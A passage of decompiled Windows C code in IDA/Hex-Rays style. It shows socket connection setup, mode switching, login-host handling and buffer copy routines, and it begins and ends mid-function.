  int v54; // ST24_4@1
  int v55; // ST28_4@1
  int v56; // ST2C_4@1
  int v57; // ST38_4@1
  int v58; // ST44_4@1
  int v59; // ST48_4@1
  int v60; // ST4C_4@1
  int v61; // ST58_4@1
  char v62; // ST40_1@1
  int v63; // ST24_4@1
  int v64; // ST20_4@1
  int v65; // ST04_4@1
  int v66; // ST08_4@1
  int v67; // ST0C_4@1
  int v68; // ST10_4@1
  int v69; // ST1C_4@1
  int v70; // ST28_4@1
  int v71; // ST2C_4@1
  int v72; // ST30_4@1
  int v73; // ST4C_4@1
  int v74; // ST58_4@1
  u_short v75; // ST58_2@2
  int v76; // ST58_4@3
  int v77; // ST58_4@4
  int v78; // ST58_4@5
  int v79; // eax@15
  int v80; // edx@25
  int v81; // edx@35
  int v82; // edx@36
  int v83; // edx@37
  int v84; // edx@38
  int v85; // edx@41
  int v86; // eax@43
  int v87; // edx@45
  int  s; // [sp+19Ch] [bp+0h]@1
  unsigned int v89; // [sp+18Ch] [bp-10h]@1
  int v90; // [sp+24h] [bp-178h]@1
  int v91; // [sp+198h] [bp-4h]@1
  int v92; // [sp+28h] [bp-174h]@1
  int v93; // [sp+20h] [bp-17Ch]@1
  int v94; // [sp+1Ch] [bp-180h]@1
  char v95; // [sp+ACh] [bp-F0h]@1
  char v96; // [sp+12Ch] [bp-70h]@1
  char v97; // [sp+2Ch] [bp-170h]@1
  int v98; // [sp+14h] [bp-188h]@32
  int v99; // [sp+18h] [bp-184h]@33
  int v100; // [sp+10h] [bp-18Ch]@34

  v89 = (unsigned int)& s ^ dword_426018;
  v25 = this;
  v90 = a10;
  v91 = 0;
  *(_DWORD *)(this + 564) = 14;
  LOBYTE(ST40_4_0) = 0;
  v92 = (int)&ST40_4_0;
  sub_401600((int)&ST40_4_0, -1, 0, this + 336);
  LOBYTE(v91) = 1;
  v93 = (int)&ST24_4_0;
  LOBYTE(ST24_4_0) = 0;
  sub_401600((int)&ST24_4_0, -1, 0, v25 + 308);
  LOBYTE(v91) = 2;
  v49 = *(_DWORD *)(v25 + 304);
  v94 = (int)&ST04_4_0;
  LOBYTE(ST04_4_0) = 0;
  sub_401600((int)&ST04_4_0, -1, 0, v25 + 276);
  LOBYTE(v91) = 0;
  sub_408B90(
    (int)&v95,
    ST04_4_0,
    ST08_4_0,
    ST0C_4_0,
    ST10_4_0,
    0,
    15,
    ST1C_4_0,
    v49,
    ST24_4_0,
    ST28_4_0,
    ST2C_4_0,
    ST30_4_0,
    0,
    15,
    v50,
    ST40_4_0,
    ST44_4_0,
    ST48_4_0,
    ST4C_4_0,
    0,
    0xFu,
    ST58_4_0);
  LOBYTE(v91) = 3;
  v92 = (int)&ST40_4_0;
  LOBYTE(v51) = 0;
  sub_401600((int)&ST40_4_0, -1, 0, v25 + 308);
  LOBYTE(v91) = 4;
  v52 = *(_DWORD *)(v25 + 304);
  v93 = (int)&v49;
  LOBYTE(v53) = 0;
  sub_401600((int)&v49, -1, 0, v25 + 276);
  LOBYTE(v91) = 3;
  sub_41C690((int)&v96, v53, v54, v55, v56, 0, 15, v57, v52, v51, v58, v59, v60, 0, 0xFu, v61);
  LOBYTE(v91) = 5;
  v92 = (int)&ST40_4_0;
  v62 = 0;
  sub_401600((int)&ST40_4_0, -1, 0, v25 + 336);
  LOBYTE(v91) = 6;
  v93 = (int)&ST24_4_0;
  LOBYTE(v63) = 0;
  sub_401600((int)&ST24_4_0, -1, 0, v25 + 308);
  LOBYTE(v91) = 7;
  v64 = *(_DWORD *)(v25 + 304);
  v94 = (int)&ST04_4_0;
  LOBYTE(v65) = 0;
  sub_401600((int)&ST04_4_0, -1, 0, v25 + 276);
  LOBYTE(v91) = 5;
  sub_408B90(
    (int)&v97,
    v65,
    v66,
    v67,
    v68,
    0,
    15,
    v69,
    v64,
    v63,
    v70,
    v71,
    v72,
    0,
    15,
    v26,
    v27,
    v28,
    v29,
    v73,
    0,
    0xFu,
    v74);
  LOBYTE(v91) = 8;
  switch ( *(_DWORD *)(v25 + 364) )
  {
    case 0:
      v75 = hostshort;
      v92 = (int)&v26;
      v31 = -1;
      LOBYTE(v26) = 0;
      sub_401600((int)&v26, -1, 0, (int)&a2);
      *(_DWORD *)(v25 + 456) = sub_411A90(v25, (char *)v26, v27, v28, v29, 0, 15, v30, v75);
      goto LABEL_8;
    case 1:
      v76 = hostshort;
      v92 = (int)&v26;
      LOBYTE(v26) = 0;
      sub_401600((int)&v26, -1, 0, (int)&a2);
      v32 = sub_408DB0((int)&v95, v26, v27, v28, v29, 0, 0xFu, v30, v76);
      goto LABEL_6;
    case 2:
      v77 = hostshort;
      v92 = (int)&v26;
      LOBYTE(v26) = 0;
      sub_401600((int)&v26, -1, 0, (int)&a2);
      v32 = sub_41C830((int)&v96, v26, v27, v28, v29, 0, 0xFu, v30, v77);
      goto LABEL_6;
    case 3:
      v78 = hostshort;
      v92 = (int)&v26;
      LOBYTE(v26) = 0;
      sub_401600((int)&v26, -1, 0, (int)&a2);
      v32 = sub_41CBF0((int)&v97, v26, v27, v28, v29, 0, 0xFu, v30, v78);
LABEL_6:
      *(_DWORD *)(v25 + 456) = v32;
      break;
    default:
      break;
  }
  v31 = -1;
LABEL_8:
  if ( *(_DWORD *)(v25 + 456) < 0 )
  {
    sub_408D30((int)&v97);
    sub_41C7C0((int)&v96);
    sub_408D30((int)&v95);
    if ( (unsigned int)a7 >= 0x10 )
      operator delete(a2);
    return 0;
  }
  *(_DWORD *)(v25 + 564) += 3;
  if ( !sub_411BE0(v25) || (v79 = v90, *(_DWORD *)(v25 + 564) += 3, !sub_412D10(v25, v79)) )
  {
    closesocket(*(_DWORD *)(v25 + 456));
    *(_DWORD *)(v25 + 456) = v31;
    sub_408D30((int)&v97);
    sub_41C7C0((int)&v96);
    sub_408D30((int)&v95);
    if ( (unsigned int)a7 < 0x10 )
      return 0;
    operator delete(a2);
    return 0;
  }
  *(_DWORD *)(v25 + 564) += 4;
  if ( !(unsigned __int8)loc_40D6E0(v25) )
  {
LABEL_17:
    v34 = *(_DWORD *)(v25 + 456);
LABEL_18:
    closesocket(v34);
    *(_DWORD *)(v25 + 456) = v31;
LABEL_19:
    sub_408D30((int)&v97);
    sub_41C7C0((int)&v96);
    sub_408D30((int)&v95);
    sub_401970((int)&a2);
    return 0;
  }
  *(_DWORD *)(v25 + 564) += 4;
  if ( !sub_40D950(v25) )
    goto LABEL_21;
  *(_DWORD *)(v25 + 564) += 3;
  if ( !(unsigned __int8)loc_40EBF0(v25) )
    goto LABEL_23;
  *(_DWORD *)(v25 + 564) += 3;
  if ( sub_413200(6, (int)&v90, v25, 1, 0) != 1 )
    goto LABEL_17;
  v80 = v90;
  *(_DWORD *)(v25 + 564) += 4;
  if ( !sub_40EE70(v35, v80, v25) )
    goto LABEL_21;
  *(_DWORD *)(v25 + 564) += 4;
  if ( !sub_40F060(v25) )
    goto LABEL_23;
  *(_DWORD *)(v25 + 564) += 3;
  if ( !a11 )
  {
    v36 = sub_413200(14, (int)&v92, v25, 1, 0);
    if ( v36 != 1 )
      goto LABEL_17;
    ++*(_DWORD *)(v25 + 564);
    v37 = sub_413200((_WORD)v36 + 1, (int)&v94, v25, 19, 0);
    if ( v37 == 1 )
    {
      *(_DWORD *)(v25 + 564) += 3;
      v38 = sub_413200((_WORD)v37 + 3, (int)&v93, v25, 19, 0);
      if ( v38 != 1 )
        goto LABEL_23;
      *(_DWORD *)(v25 + 564) += 3;
      v39 = sub_413200((_WORD)v38 + 1, (int)&v90, v25, 2, 0);
      if ( v39 != 1 )
        goto LABEL_17;
      *(_DWORD *)(v25 + 564) += 3;
      v40 = sub_413200((_WORD)v39 + 1, (int)&v98, v25, 3, 0);
      if ( v40 == 1 )
      {
        *(_DWORD *)(v25 + 564) += 3;
        v41 = sub_413200((_WORD)v40 + 3, (int)&v99, v25, 4, 0);
        if ( v41 != 1 )
          goto LABEL_23;
        *(_DWORD *)(v25 + 564) += 3;
        if ( sub_413200((_WORD)v41 + 1, (int)&v100, v25, 9, 0) != 1 )
          goto LABEL_17;
        v81 = v90;
        *(_DWORD *)(v25 + 564) += 3;
        if ( sub_40F200(v42, v81, v25) )
        {
          v82 = v98;
          *(_DWORD *)(v25 + 564) += 3;
          if ( sub_40F510(v43, v82, v25) )
          {
            v83 = v99;
            *(_DWORD *)(v25 + 564) += 3;
            if ( !sub_40F590(v44, v83, v25) )
              goto LABEL_17;
            v84 = v100;
            *(_DWORD *)(v25 + 564) += 4;
            if ( !sub_40F7C0(v45, v84, v25) )
              goto LABEL_39;
            v85 = v94;
            *(_DWORD *)(v25 + 564) += 3;
            if ( !sub_40F840(v46, v85, v25) )
              goto LABEL_60;
            v86 = v93;
            *(_DWORD *)(v25 + 564) += 4;
            if ( !sub_40F8C0(v25, v86) )
            {
LABEL_39:
              v47 = *(_DWORD *)(v25 + 456);
LABEL_40:
              closesocket(v47);
              *(_DWORD *)(v25 + 456) = -1;
              goto LABEL_19;
            }
            *(_DWORD *)(v25 + 564) += 3;
            if ( !sub_40F280(v25) )
              goto LABEL_60;
            v87 = v92;
            *(_DWORD *)(v25 + 564) += 4;
            if ( !sub_40F160(v48, v87, v25) )
            {
              v47 = *(_DWORD *)(v25 + 456);
              goto LABEL_40;
            }
            ++*(_DWORD *)(v25 + 564);
            if ( !sub_40F640(v25) )
              goto LABEL_39;
            *(_DWORD *)(v25 + 564) += 4;
            if ( !sub_410320(v25, 0, 1) )
            {
LABEL_60:
              v47 = *(_DWORD *)(v25 + 456);
              goto LABEL_40;
            }
            *(_DWORD *)(v25 + 576) = 0;
            v31 = -1;
            goto LABEL_50;
          }
LABEL_23:
          closesocket(*(_DWORD *)(v25 + 456));
          *(_DWORD *)(v25 + 456) = v31;
          sub_408D30((int)&v97);
          sub_41C7C0((int)&v96);
          sub_408D30((int)&v95);
          sub_401970((int)&a2);
          return 0;
        }
      }
    }
LABEL_21:
    closesocket(*(_DWORD *)(v25 + 456));
    *(_DWORD *)(v25 + 456) = v31;
    sub_408D30((int)&v97);
    sub_41C7C0((int)&v96);
    sub_408D30((int)&v95);
    sub_401970((int)&a2);
    return 0;
  }
LABEL_50:
  if ( !sub_410570(v25) )
    goto LABEL_17;
  *(_DWORD *)(v25 + 564) += 3;
  if ( !a11 )
  {
    if ( sub_413200(7, 0, v25, 19, 0) != 1 )
    {
      v34 = *(_DWORD *)(v25 + 456);
      goto LABEL_18;
    }
    *(_DWORD *)(v25 + 564) += 4;
    if ( !sub_410320(v25, 0, 0) )
    {
      v34 = *(_DWORD *)(v25 + 456);
      goto LABEL_18;
    }
    *(_DWORD *)(v25 + 576) = 0;
  }
  *(_DWORD *)(v25 + 564) = 100;
  sub_408D30((int)&v97);
  sub_41C7C0((int)&v96);
  sub_408D30((int)&v95);
  sub_401970((int)&a2);
  return 1;
}

//----- (0040C150) --------------------------------------------------------
char __thiscall sub_40C150(int this, int a2, int a3, int a4, int a5, int a6, int a7, signed int a8, int a9, int a10, int a11, int a12, int a13, int a14, unsigned int a15, int a16)
{
  char v16; // bl@1
  int v18; // edi@1
  signed int v19; // [sp+18h] [bp-4h]@1

  v18 = this;
  v19 = 1;
  *(_DWORD *)(this + 580) = a2;
  sub_401600(this + 584, -1, 0, (int)&a3);
  sub_401600(v18 + 612, -1, 0, (int)&a10);
  v16 = sub_40F280(v18);
  if ( (unsigned int)a8 >= 0x10 )
    operator delete(a3);
  a8 = 15;
  a7 = 0;
  LOBYTE(a3) = 0;
  if ( a15 >= 0x10 )
    operator delete(a10);
  return v16;
}

//----- (0040C200) --------------------------------------------------------
int __fastcall sub_40C200(int a1)
{
  int v1; // ecx@1
  int v2; // esi@1
  int v3; // ecx@3
  int result; // eax@6

  v2 = a1;
  v1 = *(_DWORD *)(a1 + 532);
  if ( v1 )
  {
    if ( v1 != v2 )
    {
      sub_40C200();
      v3 = *(_DWORD *)(v2 + 532);
      if ( v3 )
        (**(int (__stdcall ***)(_DWORD))v3)(1);
      *(_DWORD *)(v2 + 532) = 0;
    }
  }
  result = *(_DWORD *)(v2 + 456);
  if ( result >= 0 )
  {
    result = closesocket(*(_DWORD *)(v2 + 456));
    *(_DWORD *)(v2 + 456) = -1;
  }
  return result;
}

//----- (0040C250) --------------------------------------------------------
char __thiscall sub_40C250(int this, int a2, int a3, int a4, int a5, int a6, unsigned int a7, int a8, int a9, int a10, int a11, int a12, size_t a13, signed int a14, int a15, int a16, int a17, signed int a18, __int16 a19, int a20, int a21, int a22, int a23)
{
  int ST04_4_0; // ST04_4@0
  int ST08_4_0; // ST08_4@0
  int ST0C_4_0; // ST0C_4@0
  int ST10_4_0; // ST10_4@0
  int ST1C_4_0; // ST1C_4@0
  signed int v28; // eax@1
  int v29; // edi@1
  int v31; // eax@5
  int v32; // ST1C_4@15
  signed int v33; // esi@20
  const void *v34; // eax@22
  size_t v35; // ebx@24
  int  s; // [sp+1B4h] [bp+0h]@1
  unsigned int v37; // [sp+1A4h] [bp-10h]@1
  int v38; // [sp+14h] [bp-1A0h]@1
  int v39; // [sp+1B0h] [bp-4h]@1
  int *v40; // [sp+10h] [bp-1A4h]@1
  signed int v41; // [sp+16Ch] [bp-48h]@14
  size_t Size; // [sp+168h] [bp-4Ch]@14
  void *Src; // [sp+158h] [bp-5Ch]@14
  int v44; // [sp+174h] [bp-40h]@14
  int v45; // [sp+178h] [bp-3Ch]@14
  size_t v46; // [sp+17Ch] [bp-38h]@14
  int (__stdcall **v47)(char); // [sp+148h] [bp-6Ch]@14
  signed int v48; // [sp+184h] [bp-30h]@15
  signed int v49; // [sp+19Ch] [bp-18h]@15
  signed int v50; // [sp+198h] [bp-1Ch]@15
  int v51; // [sp+188h] [bp-2Ch]@15
  int hostshort; // [sp+154h] [bp-60h]@15
  __int16 v53; // [sp+50h] [bp-164h]@19
  __int16 v54; // [sp+2Ch] [bp-188h]@19
  int v55; // [sp+2Eh] [bp-186h]@19
  signed int v56; // [sp+194h] [bp-20h]@19
  signed int v57; // [sp+36h] [bp-17Eh]@19
  signed int v58; // [sp+3Ah] [bp-17Ah]@19
  signed int v59; // [sp+3Eh] [bp-176h]@19
  signed int v60; // [sp+1A0h] [bp-14h]@19
  signed int v61; // [sp+42h] [bp-172h]@19
  __int16 v62; // [sp+4Ch] [bp-168h]@19
  __int16 v63; // [sp+58h] [bp-15Ch]@19
  signed int v64; // [sp+48h] [bp-16Ch]@19
  signed int v65; // [sp+54h] [bp-160h]@19
  int v66; // [sp+5Ch] [bp-158h]@19
  int v67; // [sp+78h] [bp-13Ch]@19
  int v68; // [sp+7Ch] [bp-138h]@19
  char v69; // [sp+80h] [bp-134h]@19
  char v70; // [sp+1Ch] [bp-198h]@19
  int v71; // [sp+14Ch] [bp-68h]@22
  int v72; // [sp+150h] [bp-64h]@22
  char v73; // [sp+1Bh] [bp-199h]@24

  v37 = (unsigned int)& s ^ dword_426018;
  v29 = this;
  v38 = this;
  v39 = 0;
  LOBYTE(ST04_4_0) = 0;
  v40 = &ST04_4_0;
  sub_401600((int)&ST04_4_0, -1, 0, (int)&a2);
  v28 = sub_40D3E0(v29, ST04_4_0, ST08_4_0, ST0C_4_0, ST10_4_0, 0, 0xFu, ST1C_4_0);
  if ( v28 >= 0 )
  {
    v31 = *(_DWORD *)(v29 + 8) + 368 * v28;
    if ( *(_DWORD *)(v31 + 144) == 4096 && a18 != 1 && a18 )
      goto LABEL_4;
    if ( a18 == 2 )
    {
      if ( !*(_BYTE *)(v31 + 218) )
      {
        sub_406E80((int)&a2);
        return 0;
      }
    }
    else
    {
      if ( a18 == 3 && (!*(_BYTE *)(v31 + 218) || !*(_BYTE *)(v31 + 217)) )
        goto LABEL_4;
    }
  }
  else
  {
    if ( a18 != 1 && a18 )
    {
LABEL_4:
      sub_406E80((int)&a2);
      return 0;
    }
  }
  v41 = 15;
  Size = 0;
  LOBYTE(Src) = 0;
  v44 = 0;
  v45 = 0;
  v46 = 0;
  v47 = &off_421510;
  LOBYTE(v39) = 1;
  sub_401600((int)&Src, -1, 0, (int)&a2);
  switch ( a18 )
  {
    case 0:
      v48 = 3;
      v49 = 15;
      v50 = 0;
      LOBYTE(v51) = 0;
      LOBYTE(v39) = 2;
      sub_401600((int)&v51, -1, 0, (int)&a9);
      LOWORD(v48) = 0;
      HIWORD(v48) = a19;
      LOWORD(hostshort) = 1;
      v32 = (int)&v44;
      goto LABEL_16;
    case 1:
      v48 = 3;
      v49 = 15;
      v50 = 0;
      LOBYTE(v51) = 0;
      LOBYTE(v39) = 3;
      sub_401600((int)&v51, -1, 0, (int)&a9);
      LOWORD(v48) = 3;
      HIWORD(v48) = a19;
      LOWORD(hostshort) = 1;
      v32 = (int)&v44;
      goto LABEL_16;
    case 2:
      v48 = 3;
      v49 = 15;
      v50 = 0;
      LOBYTE(v51) = 0;
      LOBYTE(v39) = 4;
      sub_401600((int)&v51, -1, 0, (int)&a9);
      LOWORD(v48) = 2;
      HIWORD(v48) = a19;
      LOWORD(hostshort) = 1;
      v32 = (int)&v44;
LABEL_16:
      sub_4033D0((int)&v48, v32);
      sub_40D200((int)&v48);
      break;
    case 3:
      sub_4039B0((int)&v53);
      LOBYTE(v39) = 5;
      v54 = 0;
      v55 = a22;
      v56 = 1225999881;
      v57 = 1225999881;
      v50 = -787382452;
      v58 = -787382452;
      v49 = 1162093186;
      v59 = 1162093186;
      v60 = 21587;
      v61 = 21587;
      v62 = 8716;
      v53 = 8;
      v63 = 1;
      v64 = 16777343;
      v65 = 1;
      sub_401600((int)&v66, -1, 0, (int)&a9);
      v67 = a16;
      v68 = a17;
      setLoginHost("{0946134E-4C7F-11D1-8222-444553540000}", 0x26u, (int)&v69);
      LOWORD(hostshort) = 2;
      sub_404A40((int)&v44, (int)&v70);
      sub_403A30((int)&v53);
      v29 = v38;
      break;
    default:
      break;
  }
  v33 = 0;
  v56 = 0;
  v50 = 0;
  v49 = 0;
  LOBYTE(v39) = 6;
  if ( Size != -11 )
  {
    sub_405670(Size + 11, (int)&v56);
    v33 = v56;
  }
  *(_DWORD *)v33 = v71;
  *(_DWORD *)(v33 + 4) = v72;
  *(_WORD *)(v33 + 8) = htons(hostshort);
  *(_BYTE *)(v33 + 10) = Size;
  v34 = Src;
  if ( (unsigned int)v41 < 0x10 )
    v34 = &Src;
  memcpy((void *)(v33 + 11), v34, Size);
  loc_402F20(&v56, &v47);
  v73 = sub_413200(6, 0, v29, 4, (int)&v56) == 1;
  v35 = 0;
  if ( v56 )
    operator delete(v56);
  v47 = &off_421508;
  if ( v44 )
  {
    sub_4061B0(v44, v45);
    operator delete(v44);
    v35 = 0;
  }
  v44 = v35;
  v45 = v35;
  v46 = v35;
  if ( (unsigned int)v41 >= 0x10 )
    operator delete(Src);
  v41 = 15;
  Size = v35;
  LOBYTE(Src) = v35;
  if ( (unsigned int)a14 >= 0x10 )
    operator delete(a9);
  a14 = 15;
  a13 = v35;
  LOBYTE(a9) = v35;
  if ( a7 >= 0x10 )
    operator delete(a2);
  return v73;
}

//----- (0040C6A0) --------------------------------------------------------
char __fastcall sub_40C6A0(int a1, int a2, int a3, int a4, int a5, int a6, int a7, unsigned int a8, int a9, char a10)
{
  char *ST04_4_0; // ST04_4@0
  int ST08_4_0; // ST08_4@0
  int ST0C_4_0; // ST0C_4@0
  int ST10_4_0; // ST10_4@0
  int ST1C_4_0; // ST1C_4@0
  int v15; // ebx@1
  int v16; // esi@1
  int v17; // ST20_4@4
  int v18; // ecx@5
  int v20; // edi@9
  int v21; // eax@12
  int v22; // [sp+14h] [bp-14h]@1
  int v23; // [sp+24h] [bp-4h]@1
  int v24; // [sp+10h] [bp-18h]@1
  int v25; // [sp+18h] [bp-10h]@1

  v15 = a2;
  v16 = a1;
  v22 = a2;
  v23 = 0;
  v24 = a1 + 500;
  sub_417E40(a1 + 500, (int)&a3, (int)&v25);
  if ( v25 != *(_DWORD *)(v16 + 504) && !a10 )
  {
    sub_40C800(v25 + 40, v15);
    if ( a8 >= 0x10 )
    {
      v17 = a3;
LABEL_14:
      operator delete(v17);
      return 1;
    }
    return 1;
  }
  v25 = (int)&ST04_4_0;
  LOBYTE(ST04_4_0) = 0;
  sub_401600((int)&ST04_4_0, -1, 0, (int)&a3);
  if ( !sub_4156E0(v16, ST04_4_0, ST08_4_0, ST0C_4_0, ST10_4_0, 0, 15, ST1C_4_0, (int)&v25) )
  {
    if ( a8 >= 0x10 )
      operator delete(a3);
    return 0;
  }
  v20 = v22;
  if ( !sub_4158A0(v18, v25, v16, v22) )
  {
    if ( a8 >= 0x10 )
    {
      operator delete(a3);
      return 0;
    }
    return 0;
  }
  sub_401600(v20, -1, 0, (int)&a3);
  v21 = sub_417C60(v24, (int)&a3);
  sub_40C800(v20, v21);
  if ( a8 >= 0x10 )
  {
    v17 = a3;
    goto LABEL_14;
  }
  return 1;
}

//----- (0040C800) --------------------------------------------------------
int __usercall sub_40C800<eax>(int a1<edi>, int a2<esi>)
{
  sub_401600(a2, -1, 0, a1);
  sub_401600(a2 + 28, -1, 0, a1 + 28);
  sub_401600(a2 + 56, -1, 0, a1 + 56);
  sub_401600(a2 + 84, -1, 0, a1 + 84);
  sub_401600(a2 + 112, -1, 0, a1 + 112);
  *(_DWORD *)(a2 + 140) = *(_DWORD *)(a1 + 140);
  *(_BYTE *)(a2 + 144) = *(_BYTE *)(a1 + 144);
  *(_DWORD *)(a2 + 148) = *(_DWORD *)(a1 + 148);
  *(_WORD *)(a2 + 152) = *(_WORD *)(a1 + 152);
  return a2;
}

//----- (0040C880) --------------------------------------------------------
int __usercall sub_40C880<eax>(int a1<esi>)
{
  int result; // eax@15

  if ( *(_DWORD *)(a1 + 352) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 332));
  *(_DWORD *)(a1 + 352) = 15;
  *(_DWORD *)(a1 + 348) = 0;
  *(_BYTE *)(a1 + 332) = 0;
  if ( *(_DWORD *)(a1 + 324) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 304));
  *(_DWORD *)(a1 + 324) = 15;
  *(_DWORD *)(a1 + 320) = 0;
  *(_BYTE *)(a1 + 304) = 0;
  if ( *(_DWORD *)(a1 + 296) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 276));
  *(_DWORD *)(a1 + 296) = 15;
  *(_DWORD *)(a1 + 292) = 0;
  *(_BYTE *)(a1 + 276) = 0;
  if ( *(_DWORD *)(a1 + 268) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 248));
  *(_DWORD *)(a1 + 268) = 15;
  *(_DWORD *)(a1 + 264) = 0;
  *(_BYTE *)(a1 + 248) = 0;
  if ( *(_DWORD *)(a1 + 240) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 220));
  *(_DWORD *)(a1 + 240) = 15;
  *(_DWORD *)(a1 + 236) = 0;
  *(_BYTE *)(a1 + 220) = 0;
  if ( *(_DWORD *)(a1 + 208) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 188));
  *(_DWORD *)(a1 + 208) = 15;
  *(_DWORD *)(a1 + 204) = 0;
  *(_BYTE *)(a1 + 188) = 0;
  if ( *(_DWORD *)(a1 + 180) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 160));
  *(_DWORD *)(a1 + 180) = 15;
  *(_DWORD *)(a1 + 176) = 0;
  *(_BYTE *)(a1 + 160) = 0;
  result = *(_DWORD *)(a1 + 128);
  if ( result )
    result = operator delete(*(_DWORD *)(a1 + 128));
  *(_DWORD *)(a1 + 128) = 0;
  *(_DWORD *)(a1 + 132) = 0;
  *(_DWORD *)(a1 + 136) = 0;
  if ( *(_DWORD *)(a1 + 80) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 60));
  *(_DWORD *)(a1 + 80) = 15;
  *(_DWORD *)(a1 + 76) = 0;
  *(_BYTE *)(a1 + 60) = 0;
  if ( *(_DWORD *)(a1 + 48) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 28));
  *(_DWORD *)(a1 + 48) = 15;
  *(_DWORD *)(a1 + 44) = 0;
  *(_BYTE *)(a1 + 28) = 0;
  if ( *(_DWORD *)(a1 + 20) >= 0x10u )
    result = operator delete(*(_DWORD *)a1);
  *(_DWORD *)(a1 + 20) = 15;
  *(_DWORD *)(a1 + 16) = 0;
  *(_BYTE *)a1 = 0;
  return result;
}

//----- (0040CA40) --------------------------------------------------------
int __userpurge sub_40CA40<eax>(int a1<edi>, int a2)
{
  int ST00_4_0; // ST00_4@0
  int v4; // esi@1
  int v5; // [sp+18h] [bp-4h]@1

  v4 = a2;
  *(_DWORD *)(a2 + 20) = 15;
  *(_DWORD *)(a2 + 16) = 0;
  *(_BYTE *)a2 = 0;
  sub_401600(a2, -1, 0, ST00_4_0);
  v5 = 0;
  *(_DWORD *)(v4 + 44) = 0;
  *(_DWORD *)(v4 + 48) = 15;
  *(_BYTE *)(v4 + 28) = 0;
  sub_401600(v4 + 28, -1, 0, a1 + 28);
  LOBYTE(v5) = 1;
  *(_WORD *)(v4 + 56) = *(_WORD *)(a1 + 56);
  *(_DWORD *)(v4 + 80) = 15;
  *(_DWORD *)(v4 + 76) = 0;
  *(_BYTE *)(v4 + 60) = 0;
  sub_401600(v4 + 60, -1, 0, a1 + 60);
  LOBYTE(v5) = 2;
  *(_WORD *)(v4 + 88) = *(_WORD *)(a1 + 88);
  *(_BYTE *)(v4 + 90) = *(_BYTE *)(a1 + 90);
  *(_DWORD *)(v4 + 92) = *(_DWORD *)(a1 + 92);
  *(_DWORD *)(v4 + 96) = *(_DWORD *)(a1 + 96);
  *(_DWORD *)(v4 + 100) = *(_DWORD *)(a1 + 100);
  *(_BYTE *)(v4 + 104) = *(_BYTE *)(a1 + 104);
  *(_WORD *)(v4 + 106) = *(_WORD *)(a1 + 106);
  *(_BYTE *)(v4 + 108) = *(_BYTE *)(a1 + 108);
  *(_DWORD *)(v4 + 109) = *(_DWORD *)(a1 + 109);
  *(_DWORD *)(v4 + 113) = *(_DWORD *)(a1 + 113);
  *(_DWORD *)(v4 + 117) = *(_DWORD *)(a1 + 117);
  *(_DWORD *)(v4 + 121) = *(_DWORD *)(a1 + 121);
  sub_4061F0(a1 + 128, v4 + 128);
  LOBYTE(v5) = 3;
  *(_DWORD *)(v4 + 144) = *(_DWORD *)(a1 + 144);
  *(_DWORD *)(v4 + 148) = *(_DWORD *)(a1 + 148);
  *(_BYTE *)(v4 + 152) = *(_BYTE *)(a1 + 152);
  *(_DWORD *)(v4 + 156) = *(_DWORD *)(a1 + 156);
  *(_DWORD *)(v4 + 180) = 15;
  *(_DWORD *)(v4 + 176) = 0;
  *(_BYTE *)(v4 + 160) = 0;
  sub_401600(v4 + 160, -1, 0, a1 + 160);
  *(_DWORD *)(v4 + 208) = 15;
  *(_DWORD *)(v4 + 204) = 0;
  *(_BYTE *)(v4 + 188) = 0;
  sub_401600(v4 + 188, -1, 0, a1 + 188);
  LOBYTE(v5) = 5;
  *(_BYTE *)(v4 + 216) = *(_BYTE *)(a1 + 216);
  *(_BYTE *)(v4 + 217) = *(_BYTE *)(a1 + 217);
  *(_BYTE *)(v4 + 218) = *(_BYTE *)(a1 + 218);
  *(_DWORD *)(v4 + 240) = 15;
  *(_DWORD *)(v4 + 236) = 0;
  *(_BYTE *)(v4 + 220) = 0;
  sub_401600(v4 + 220, -1, 0, a1 + 220);
  *(_DWORD *)(v4 + 268) = 15;
  *(_DWORD *)(v4 + 264) = 0;
  *(_BYTE *)(v4 + 248) = 0;
  sub_401600(v4 + 248, -1, 0, a1 + 248);
  *(_DWORD *)(v4 + 296) = 15;
  *(_DWORD *)(v4 + 292) = 0;
  *(_BYTE *)(v4 + 276) = 0;
  sub_401600(v4 + 276, -1, 0, a1 + 276);
  *(_DWORD *)(v4 + 324) = 15;
  *(_DWORD *)(v4 + 320) = 0;
  *(_BYTE *)(v4 + 304) = 0;
  sub_401600(v4 + 304, -1, 0, a1 + 304);
  LOBYTE(v5) = 9;
  *(_DWORD *)(v4 + 352) = 15;
  *(_DWORD *)(v4 + 348) = 0;
  *(_BYTE *)(v4 + 332) = 0;
  sub_401600(v4 + 332, -1, 0, a1 + 332);
  *(_DWORD *)(v4 + 360) = *(_DWORD *)(a1 + 360);
  *(_DWORD *)(v4 + 364) = *(_DWORD *)(a1 + 364);
  return v4;
}

//----- (0040CCC0) --------------------------------------------------------
#error "40CD4E: positive sp value has been found (funcsize=50)"

//----- (0040CE20) --------------------------------------------------------
char __fastcall sub_40CE20(int a1, int a2, int a3, int a4, int a5, int a6, int a7, unsigned int a8, int a9)
{
  int ST04_4_0; // ST04_4@0
  int ST08_4_0; // ST08_4@0
  int ST0C_4_0; // ST0C_4@0
  int ST10_4_0; // ST10_4@0
  int v13; // edi@1
  int v14; // esi@1
  int v15; // ST1C_4@1
  char result; // al@6
  signed int v17; // eax@7
  int v18; // ST04_4@7
  int v19; // ST08_4@7
  int v20; // ST0C_4@7
  int v21; // ST10_4@7
  int v22; // ST1C_4@7
  int v23; // [sp+18h] [bp-14h]@1
  int v24; // [sp+28h] [bp-4h]@1
  int v25; // [sp+1Ch] [bp-10h]@7
  int *v26; // [sp+14h] [bp-18h]@7

  v13 = a2;
  v14 = a1;
  v23 = a2;
  v24 = 0;
  if ( sub_413200(17, 0, a1, 19, 0) != 1 )
  {
    if ( v13 )
      *(_WORD *)v13 = 4;
    if ( a8 >= 0x10 )
      operator delete(a3);
    return 0;
  }
  v25 = 0;
  v26 = &ST04_4_0;
  LOBYTE(ST04_4_0) = 0;
  sub_401600((int)&ST04_4_0, -1, 0, (int)&a3);
  v17 = sub_40D3E0(v14, ST04_4_0, ST08_4_0, ST0C_4_0, ST10_4_0, 0, 0xFu, v15);
  if ( v17 >= 0 )
